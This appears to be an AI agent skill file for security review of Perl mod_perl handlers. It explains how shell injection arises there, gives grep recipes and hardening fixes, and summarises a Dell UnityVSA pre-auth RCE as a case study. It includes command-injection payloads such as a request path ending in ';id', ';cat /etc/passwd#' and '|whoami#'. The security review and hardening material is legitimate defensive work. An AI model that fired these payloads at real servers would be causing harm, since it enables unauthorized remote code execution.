Perl mod_perl RCE Hunter
A skill for identifying and exploiting command injection vulnerabilities in Perl code running in Apache mod_perl handlers.
When to Use This Skill
Use this skill when:
- Reviewing Perl code for security vulnerabilities
- Pentesting web applications with Perl backends
- Investigating potential RCE in mod_perl handlers
- Analyzing Apache configurations with PerlModule directives
- Hunting for command injection through shell execution sinks
- Assessing pre-authentication attack surfaces in Perl web handlers
Risky Perl Execution Primitives
These Perl constructs spawn a shell when given a single string argument:
| Primitive | Example | Risk |
|---|---|---|
| Backticks / qx// | my $out = cmd ...; |
High - direct shell execution |
| system() with string | system("/bin/sh -c '...'") |
High - implicit shell |
| open() with pipe | open my $fh, "cmd |" |
High - shell pipe |
| IPC::Open3 with string | open3(..., "cmd") |
High - shell execution |
Vulnerability Pattern Recognition
Minimal Vulnerable Shape
sub getCASURL {
...
my $exec_cmd = "...";
if ($type eq 'login') {
$exec_cmd .= $uri; # $uri from $r->uri() → attacker-controlled
my $out = `$exec_cmd`; # backticks = shell
}
}
Key indicators:
- Attacker-controlled input (e.g.,
$r->uri(),$r->args(),$r->header_in()) - String concatenation into command variable
- Shell execution primitive with single string argument
- Inconsistent sanitization across code branches
Reachability Considerations in mod_perl
For a vulnerability to be exploitable:
Handler registration:
httpd.confmust route requests to the Perl modulePerlModule MOD_SEC_EMC::AccessHandler <Location /ui/> PerlHandler MOD_SEC_EMC::AccessHandler::handler </Location>Triggering the vulnerable branch: Force execution through the vulnerable code path
- Omit authentication cookies to trigger login flow
- Set specific parameters to hit conditional branches
Resolvable path: Request must target a URI within the configured handler scope
Exploitation Workflow
Step 1: Reconnaissance
# Find Perl modules in Apache config
grep -r "PerlModule\|PerlHandler" /etc/httpd/conf/
# Identify handler scopes
grep -A5 "PerlHandler" /etc/httpd/conf.d/*.conf
Step 2: Identify Entry Points
Look for request data flowing into command strings:
$r->uri()- request URI path$r->args()- query string$r->header_in("X-Custom")- custom headers$r->path_info()- path info
Step 3: Craft Payloads
Path injection via semicolon:
GET /ui/health;id HTTP/1.1
Host: target
Connection: close
Alternative separators to try:
;- command separator&&- AND operator|- pipe`backticks`- command substitution$(...)- command substitution%0A- encoded newline
Payload patterns for end-of-string injection:
;id#
&&/usr/bin/id#
|whoami#
;cat /etc/passwd#
Step 4: Verify Execution
Look for:
- Command output in HTTP response
- Unexpected headers
- Side effects (file creation, network connections)
- Error messages revealing command structure
Hardening Recommendations
1. Use Argument-Vector Execution
Vulnerable:
my $out = `curl $url`;
Secure:
use IPC::Open3;
my $pid = open3($in, $out, $err, 'curl', '--silent', '--', $safe_url);
Or with system:
system('/usr/bin/curl', '--silent', '--', $safe_url); # No shell
2. Consistent Sanitization Across All Branches
# BAD - inconsistent quoting
if ($type eq 'login') {
$exec_cmd .= $uri; # Unescaped!
} else {
$exec_cmd .= escape($uri); # Escaped
}
# GOOD - consistent escaping
use URI::Escape;
$exec_cmd .= uri_escape($uri);
3. Avoid Shell Execution in Auth/Redirect Paths
Keep authentication and redirect code paths free of command execution, or ensure identical sanitization across all branches.
4. Use Allowlists for Command Components
my %allowed_commands = (
'curl' => 1,
'wget' => 1,
'ping' => 1,
);
if (exists $allowed_commands{$cmd}) {
system($cmd, @args); # Safe - no shell
}
Vulnerability Hunting Techniques
1. Patch-Diff Analysis
Compare patched vs. vulnerable versions:
diff -u vulnerable.pm patched.pm | grep -A3 -B3 "uri\|input\|request"
Look for:
- Inconsistent quoting between branches
- Added escaping in one path but not others
- Conditional logic changes around command execution
2. Grep Patterns for Shell Sinks
# Find backticks
grep -rn "\`[^\`]*\`" *.pm
# Find qx//
grep -rn "qx\[\|qx\(\|qx\{\|qx/" *.pm
# Find open with pipes
grep -rn "open.*\|\|open.*\|" *.pm
# Find system with strings
grep -rn "system\s*\(\s*\"" *.pm
3. Build Call Graphs
Trace from sink to request entry:
- Find all shell execution sinks
- Backtrack variable assignments
- Identify request data sources (
$r->*) - Verify pre-authentication reachability
4. Check for Branch-Specific Vulnerabilities
# Look for patterns like:
if ($type eq 'login') { ... }
if ($action eq 'redirect') { ... }
if ($mode eq 'debug') { ... }
Each branch may have different sanitization levels.
Real-World Case Study: CVE-2025-36604
Dell UnityVSA Pre-Auth RCE
Vulnerability chain:
MOD_SEC_EMC::AccessHandler
→ make_return_address($r)
→ getCASLoginURL(..., type="login")
→ getCASURL(..., $uri, 'login')
→ `$exec_cmd` (backticks with raw $uri)
Key lessons:
- Pre-auth vulnerabilities are highest severity
- Branch-specific sanitization is a common failure mode
- Handler scope configuration affects exploitability
- Patch diffs reveal inconsistent fixes
Quick Reference
Shell Metacharacters to Test
| Character | Purpose | Example |
|---|---|---|
; |
Command separator | ;id |
&& |
AND operator | &&id |
| |
Pipe | |id |
` |
Backticks | `id` |
$() |
Command substitution | $(id) |
%0A |
Newline | %0Aid |
# |
Comment | ;id# |
Common mod_perl Request Methods
$r->uri()- Full URI path$r->path()- Path component$r->args()- Query string$r->header_in("X")- Request header$r->content()- POST body$r->user()- Authenticated user